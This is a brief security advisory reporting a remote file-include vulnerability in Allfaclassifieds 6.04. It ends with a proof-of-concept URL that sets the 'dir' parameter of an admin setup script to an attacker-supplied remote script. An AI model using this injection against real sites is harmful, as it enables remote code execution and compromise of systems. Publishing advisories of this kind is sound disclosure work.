source: https://www.securityfocus.com/bid/23598/info

Allfaclassifieds is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Allfaclassifieds 6.04 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/admin/setup/level2.php?dir=[EvilScript]